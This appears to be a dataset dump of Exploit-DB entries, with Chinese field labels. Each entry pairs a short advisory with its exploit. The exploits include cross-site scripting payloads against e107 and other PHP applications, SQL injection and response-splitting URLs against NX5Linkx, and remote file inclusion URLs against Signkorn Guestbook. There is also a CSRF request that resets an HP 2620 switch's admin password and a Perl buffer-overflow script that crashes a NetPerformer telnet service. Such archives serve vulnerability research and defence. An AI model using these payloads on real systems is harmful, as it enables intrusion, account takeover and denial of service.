QLWD/code_shield huggingface dataset:
标题: PHP Event Calendar 1.4/1.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28565 CVE: 2006-4825 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20001/info

PHP Event Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 1.5.1 is vulnerable; other versions may also be affected.

http://www.example.com/directory_where_you_installed_php_event_calendar/cl_files/index.php Vulnerable fields: title field - ti body field - bi Backgroung Image - cbgi Insert "<script>alert('XSS Vulnerable');</script>" in above field and click "Add event". URL: https://www.exploit-db.com/exploits/28565
标题: NX5Linkx 1.0 - 'links.php' HTTP Response Splitting EDB-ID: 28568 CVE: 2006-4505 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20011/info

NX5Linkx is prone to an HTTP response-splitting vulnerability because the application fails to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

http://www.example.com% 0D%0A%0D%0AHTTP/1.0 200 OK%0D%0A%0D% 0A....... URL: https://www.exploit-db.com/exploits/28568
标题: NX5Linkx 1.0 - Multiple SQL Injections EDB-ID: 28567 CVE: 2006-4504 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20010/info

NX5Linkx is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

An attacker may be able to exploit these issues to modify the logic of SQL queries. Successful exploits may allow the attacker to compromise the software, retrieve information, or modify data; other consequences are possible as well.

http://www.example.com/links.php? c=999'% 20union%20select% 201,222
http://www.example.com/out.php? l=999' union select 1,1,'http://www.example.com', 1,1,1,1 URL: https://www.exploit-db.com/exploits/28567
标题: e107 website system 0.7.5 - 'user.php?Query String (PATH_INFO)' Cross-Site Scripting EDB-ID: 28556 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info
        
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
        
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
        
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/user.php/"><script>alert('founded by pointGLow.com - zark0vac')</script> URL: https://www.exploit-db.com/exploits/28556
标题: Hewlett-Packard (HP) 2620 Switch Series. Edit Admin Account - Cross-Site Request Forgery EDB-ID: 28562 CVE: 2013-6852 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-09-26 漏洞利用脚本: # Exploit Title: Hewlett-Packard 2620 Switch Series. Edit Admin Account - CSRF Vulnerability
# Date: 26.09.2013r.
# Exploit Author: Hubert GrÄ…dek (PL)
# Software Link: [download link if available]
# Tested on: HP-E2620 24-PoEP //  RA.15.05.0006,ROMRA.15.10

HTTP Headers:

http://[IP_ADDR]/html/json.html

Host: [IP_ADDR]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://[IP_ADDR]/html/nhome.html
Cookie: sessionId=ANYTHING
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache





POST Content:


method:setPassword&name=admin&password=newpassword&ext-comp-1171=newpassword&access=Manager URL: https://www.exploit-db.com/exploits/28562
标题: e107 website system 0.7.5 - 'signup.php?Query String (PATH_INFO)' Cross-Site Scripting EDB-ID: 28552 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info
      
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
      
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
      
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/signup.php/"><script>alert('founded by pointGLow.com - zark0vac')</script> URL: https://www.exploit-db.com/exploits/28552
标题: e107 website system 0.7.5 - 'admin.php?Query String (PATH_INFO)' Cross-Site Scripting EDB-ID: 28547 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info
  
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
  
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/e107_admin/admin.php/%22%3E%3C/script%3E%3Cscript%3Ealert('founded bypointGLow.com - zark0vac')%3C/script%3E URL: https://www.exploit-db.com/exploits/28547
标题: ForumJBC 4.0 - 'Haut.php' Cross-Site Scripting EDB-ID: 28543 CVE: 2006-4771 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19992/info

ForumJBC is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

Version 4.0 is vulnerable; other versions may also be affected.

http://Www.example.Com/[Script]/haut.php?nb_connecte=http://www.example.com URL: https://www.exploit-db.com/exploits/28543
标题: e107 website system 0.7.5 - 'news.php?PATH_INFO' Cross-Site Scripting EDB-ID: 28549 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info
    
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
    
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
    
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/news.php/"><script>alert('founded by pointGLow.com - zark0vac')</script> URL: https://www.exploit-db.com/exploits/28549
标题: Telekorn Signkorn Guestbook 1.x - '/admin/config.php?dir_path' Remote File Inclusion EDB-ID: 28540 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
                  
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                  
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
                  
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/config.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28540
标题: Verso NetPerformer Frame Relay Access Device - Telnet Buffer Overflow EDB-ID: 28542 CVE: 2006-4832 类型: DOS 平台: MULTIPLE 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19989/info

Verso NetPerformer Frame Relay Access Device (FRAD) is prone to a remotely exploitable buffer overflow in the telnet service.

A remote attacker can exploit this issue to execute arbitrary code on the affected device. Failed exploit attempts will likely crash the device, denying service to legitimate users.

# __START_CODE
#
#!/usr/bin/perl

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "23",

Proto    => "TCP"))
{
                 print "Modhiar'000 ..... killing netperformer ... $ARGV[0]
port 23...";
                 sleep(1);
                 print $socket "LOGIN " . "A" x 4550 . "BCDE\r\n";
                 sleep(1);
                 print $socket "PASS " . "\r\n";
                 close($socket);
}
else
{
                 print "Cannot connect to $ARGV[0]:23\n";
}
# __END_CODE URL: https://www.exploit-db.com/exploits/28542
标题: e107 website system 0.7.5 - 'download.php?Query String (PATH_INFO)' Cross-Site Scripting EDB-ID: 28546 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info
 
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
 
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/download.php/"><script>alert('founded by pointGLow.com -zark0vac')</script> URL: https://www.exploit-db.com/exploits/28546
标题: Telekorn Signkorn Guestbook 1.x - '/admin/index.php?dir_path' Remote File Inclusion EDB-ID: 28539 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
                 
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                 
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
                 
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/index.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28539
标题: e107 website system 0.7.5 - 'search.php?Query String (PATH_INFO)' Cross-Site Scripting EDB-ID: 28551 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info
     
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
     
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
     
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/search.php/"><script>alert('founded by pointGLow.com - zark0vac')</script> URL: https://www.exploit-db.com/exploits/28551
标题: e107 website system 0.7.5 - 'contact.php?Query String (PATH_INFO)' Cross-Site Scripting EDB-ID: 28545 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info

e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 

An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/contact.php/"><script>alert('founded by pointGLow.com - zark0vac')</script> URL: https://www.exploit-db.com/exploits/28545
标题: Good for Enterprise 2.2.2.1611 - Cross-Site Scripting EDB-ID: 28555 CVE: 2013-5118 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-09-25 漏洞利用脚本: The vulnerable versions are v2.2.2.1611 and earlier
 
Proof of Concept:
HTML Email including the following payload will execute Javascript statements when the victim open the email using the vulnerable version.
 
Payload:
<body>
<div>
<script>alert('XSS Here')</script>
</div>
</body>
 
Remediation:
I worked with the Good people to close the issue, I provided some guidance and feedback and agreed with them to not disclose it until they fix it.

The new release is now available:
Update the "Good for Enterprise" iOS application to 2.2.4.1659 or newer
 
References:
https://www.roblest.com/#research:CVE-2013-5118 

Can the comunity please provide feedback and comments in order to ensure the fix is working well

Many thanks

Mario URL: https://www.exploit-db.com/exploits/28555
标题: e107 website system 0.7.5 - 'fpw.php?Query String (PATH_INFO)' Cross-Site Scripting EDB-ID: 28548 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info
   
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
   
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/fpw.php/"><script>alert('founded by pointGLow.com - zark0vac')</script> URL: https://www.exploit-db.com/exploits/28548
标题: Telekorn Signkorn Guestbook 1.x - '/admin/admin.php?dir_path' Remote File Inclusion EDB-ID: 28541 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
                   
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                   
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
                   
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/admin.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28541
标题: e107 website system 0.7.5 - 'submitnews.php?PATH_INFO' Cross-Site Scripting EDB-ID: 28554 CVE: 2006-4794 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/19997/info
       
e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
       
An attacker may levearge this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
       
Version 0.7.5 is vulnerable to this issue; other versions may also be affected.

http://www,example.com/submitnews.php/"><script>alert('founded by pointGLow.com -zark0vac')</script> URL: https://www.exploit-db.com/exploits/28554
标题: Telekorn Signkorn Guestbook 1.x - 'entry.php?dir_path' Remote File Inclusion EDB-ID: 28536 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
              
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
              
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
              
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/entry.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28536
标题: Telekorn Signkorn Guestbook 1.x - '/admin/preview.php?dir_path' Remote File Inclusion EDB-ID: 28537 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
               
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
               
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
               
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/preview.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28537
标题: Telekorn Signkorn Guestbook 1.x - '/help/de/adminhelp1.php?dir_path' Remote File Inclusion EDB-ID: 28533 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
           
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
           
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/de/adminhelp1.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28533
标题: Telekorn Signkorn Guestbook 1.x - 'smile.php?dir_path' Remote File Inclusion EDB-ID: 28527 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
     
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/smile.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28527
标题: Telekorn Signkorn Guestbook 1.x - '/help/de/adminhelp0.php?dir_path' Remote File Inclusion EDB-ID: 28532 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
          
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
          
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/de/adminhelp0.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28532
标题: Telekorn Signkorn Guestbook 1.x - '/admin/log.php?dir_path' Remote File Inclusion EDB-ID: 28538 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
                
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
                
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/log.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28538
标题: Telekorn Signkorn Guestbook 1.x - '/help/en/adminhelp3.php?dir_path' Remote File Inclusion EDB-ID: 28531 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
         
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
         
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/en/adminhelp3.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28531
标题: Telekorn Signkorn Guestbook 1.x - '/help/en/adminhelp1.php?dir_path' Remote File Inclusion EDB-ID: 28529 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
       
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
       
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/en/adminhelp1.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28529
标题: Telekorn Signkorn Guestbook 1.x - '/help/de/adminhelp3.php?dir_path' Remote File Inclusion EDB-ID: 28535 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
             
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
             
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
             
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/de/adminhelp3.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28535
标题: Telekorn Signkorn Guestbook 1.x - '/includes/functions.admin.php?dir_path' Remote File Inclusion EDB-ID: 28524 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
  
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/includes/functions.admin.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28524
标题: Telekorn Signkorn Guestbook 1.x - '/help/en/adminhelp0.php?dir_path' Remote File Inclusion EDB-ID: 28528 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
      
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
      
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/en/adminhelp0.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28528
标题: Telekorn Signkorn Guestbook 1.x - '/help/de/adminhelp2.php?dir_path' Remote File Inclusion EDB-ID: 28534 CVE: 2006-4889 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/19977/info
            
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
            
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/de/adminhelp2.php?dir_path=[U r Evil Script] ; URL: https://www.exploit-db.com/exploits/28534